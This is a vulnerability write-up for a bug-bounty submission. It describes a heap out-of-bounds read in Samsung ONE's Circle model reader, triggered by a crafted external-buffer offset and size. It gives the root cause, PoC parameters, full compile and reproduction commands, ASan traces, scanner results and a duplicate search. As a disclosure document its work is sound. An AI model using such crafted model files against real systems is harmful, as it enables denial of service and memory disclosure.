circle-external-buffer-oob-poc / TECHNICAL_NOTES.md
AgentRen's picture
Add Circle external buffer OOB PoC
8602386 verified
|
Raw
History Blame Contribute Delete
9.31 kB
# Circle External Buffer Offset/Size OOB Read Candidate
Date: 2026-06-26
Target: Huntr model format `circle` ($1,500 lane)
Source snapshot:
- Repo: `research/triage/audits/circle-2026-06-26/ONE`
- Commit: `de7f4736dc4c4f5e47f72a4022a9aa9ac6d1ad1a`
- Last commit: `de7f4736 [exo] Fix exception throw for unknown dialect (#16483)`
## Verdict
Submission candidate.
I found a verifier-clean Circle file that causes an ASan heap-buffer-overflow in Samsung ONE's `circledump` path. The bug is an external-buffer bounds check gap: `mio_circle::Reader::buffer_info()` checks only `offset` with `std::vector::at()`, while attacker-controlled `size` is returned to callers without validating `offset + size <= raw_file_size`.
The strongest demonstrated sink is now the real `circledump::dump_buffer()` code path, compiled directly with the current generated Circle schema and ASan. A production runtime loader impact would still strengthen severity, but this is no longer just a Reader harness.
## Bug Shape
Circle's schema permits buffers whose tensor data lives outside the FlatBuffer region:
- [circle_schema.fbs](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/ONE/runtime/libs/circle-schema/circle_schema.fbs:1730)
- Fields: `offset: ulong`, `size: ulong`
- Comment: offset is relative to the beginning of the file and valid if greater than `1`.
The vulnerable reader path:
- [Reader.cpp](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Reader.cpp:101)
- `buffer_info()` sets `buff_data = &_rawdata->at(buffer_offset)` at line 125.
- It returns `buffer->size()` at line 127.
- It does not validate that the returned byte span is inside `_rawdata`.
The known caller/sink:
- [Dump.cpp](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/Dump.cpp:396)
- `circledump` calls `reader.buffer_info(i, &buff_data, ext_offset)` and then `dump_buffer(os, buff_data, size, 16)`.
- `dump_buffer()` reads `buffer[i]` for up to 16 bytes.
## Artifacts
- PoC model: [external_offset_oob.circle](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle)
- SHA256: `20962ae3e01d2489f1ba6766f4d804414e5e5cb490589a23aa986f97abe0abd5`
- Size: 232 bytes
- External buffer: `offset=231`, `size=4096`
- Generator: [make_circle_external_oob.cpp](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/make_circle_external_oob.cpp:1)
- Direct upstream Reader probe: [circle_reader_external_oob_probe.cpp](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/circle_reader_external_oob_probe.cpp:1)
- ASan stderr: [asan-reader-oob.stderr.txt](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/asan-reader-oob.stderr.txt:1)
- Direct `circledump` core driver: [circledump_direct_driver.cpp](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/circledump_direct_driver.cpp:1)
- `circledump` ASan stderr: [asan-circledump-direct.stderr.txt](/home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/poc/asan-circledump-direct.stderr.txt:1)
- MFV scan output: `/tmp/mfv-scan-circle-external-oob`
## Reproduction
Use FlatBuffers 23.5.26 headers because the generated Circle header asserts that version. I used `/tmp/flatbuffers-23.5.26/include`.
```bash
cd /home/bradd/.openclaw/workspace
clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
-I/tmp/flatbuffers-23.5.26/include \
-Iresearch/triage/audits/circle-2026-06-26/ONE/onert-micro/externals/gen/circle-generated \
research/triage/audits/circle-2026-06-26/poc/make_circle_external_oob.cpp \
-o /tmp/make_circle_external_oob
/tmp/make_circle_external_oob \
research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle
rm -rf /tmp/circle-include
mkdir -p /tmp/circle-include/mio
ln -s /home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/ONE/onert-micro/externals/gen/circle-generated/circle \
/tmp/circle-include/mio/circle
clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
-I/tmp/flatbuffers-23.5.26/include \
-I/tmp/circle-include \
-Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/include \
research/triage/audits/circle-2026-06-26/poc/circle_reader_external_oob_probe.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Reader.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Helper.cpp \
-o /tmp/circle_reader_external_oob_probe
ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
/tmp/circle_reader_external_oob_probe \
research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle
```
Observed:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circle_reader_external_oob_probe.cpp:36
0 bytes after 232-byte region
```
Stronger `circledump` core reproduction:
```bash
cd /home/bradd/.openclaw/workspace
# Build FlatBuffers 23.5.26 flatc/libflatbuffers, then regenerate the current Circle schema.
cmake -S /tmp/flatbuffers-23.5.26 -B /tmp/flatbuffers-23.5.26-build \
-G Ninja -DFLATBUFFERS_BUILD_TESTS=OFF -DFLATBUFFERS_INSTALL=OFF -DCMAKE_BUILD_TYPE=Release
cmake --build /tmp/flatbuffers-23.5.26-build --target flatc flatbuffers -j2
rm -rf /tmp/circle-generated-current /tmp/circle-include-current
mkdir -p /tmp/circle-generated-current /tmp/circle-include-current/mio/circle /tmp/circle-generated-current/circle
/tmp/flatbuffers-23.5.26-build/flatc --cpp -o /tmp/circle-generated-current \
research/triage/audits/circle-2026-06-26/ONE/runtime/libs/circle-schema/circle_schema.fbs
ln -sf /tmp/circle-generated-current/circle_schema_generated.h \
/tmp/circle-include-current/mio/circle/schema_generated.h
ln -sf /tmp/circle-generated-current/circle_schema_generated.h \
/tmp/circle-generated-current/circle/schema_generated.h
clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
-I/tmp/flatbuffers-23.5.26/include \
-I/tmp/circle-include-current \
-Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/include \
-Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/circledump/include \
-Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src \
research/triage/audits/circle-2026-06-26/poc/circledump_direct_driver.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/Dump.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/MetadataPrinter.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/OpPrinter.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Reader.cpp \
research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Helper.cpp \
/tmp/flatbuffers-23.5.26-build/libflatbuffers.a \
-o /tmp/circledump_direct_driver_current
ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
/tmp/circledump_direct_driver_current \
research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle
```
Observed:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circledump::dump_buffer(...) Dump.cpp:48
circledump::dump_model(...) Dump.cpp:404
operator<<(...) Dump.cpp:479
circledump_direct_driver.cpp:41
0 bytes after 232-byte region
```
## Scanner Results
`mfv-scan` completed successfully:
```bash
tools/model-format-workbench/mfv-scan \
research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle \
--out /tmp/mfv-scan-circle-external-oob \
--timeout 180
```
Relevant results:
- ModelAudit: no security issues detected.
- ModelScan: no issues; scanned zero model files because Circle is unsupported.
- PickleScan: not pickle; no dangerous globals.
- Magika/file: generic unknown/data detection.
This is useful report framing: generic model scanners miss the malformed Circle external-buffer span, while the format-aware reader accepts the file and returns an unsafe pointer/size pair.
## Duplicate Sweep
Local:
- No prior local Circle submission found in `research/triage`.
- Existing local offset/size work is OpenVINO/GGUF/other formats, not Circle.
GitHub:
- `gh search issues '"external buffer" "offset" "circle"' --repo Samsung/ONE --limit 20`: no results.
- `gh search issues '"buffer_info" "offset"' --repo Samsung/ONE --limit 20`: no results.
- `gh search issues '"mio_circle" "buffer_info"' --repo Samsung/ONE --limit 20`: no results.
- `gh search issues '"Circle" "heap-buffer-overflow"' --repo Samsung/ONE --limit 20`: no results.
Web:
- Searches for exact `mio_circle::Reader` / `buffer_info` / `Circle external buffer offset size` did not surface a matching public report.
- Search noise included unrelated `pybind11 buffer_info` and Samsung non-ONE vulnerabilities.
Duplicate risk: low for exact bug class in Circle external buffers.
## Next Steps
1. Search ONE runtime paths for production consumers of external-buffer `offset`/`size`, especially tensor constant loaders.
2. If only developer tooling is affected, submit carefully as malformed model file causing heap OOB read in shipped Circle inspection tooling.
3. If a runtime loader consumes the same unchecked span, upgrade the report impact.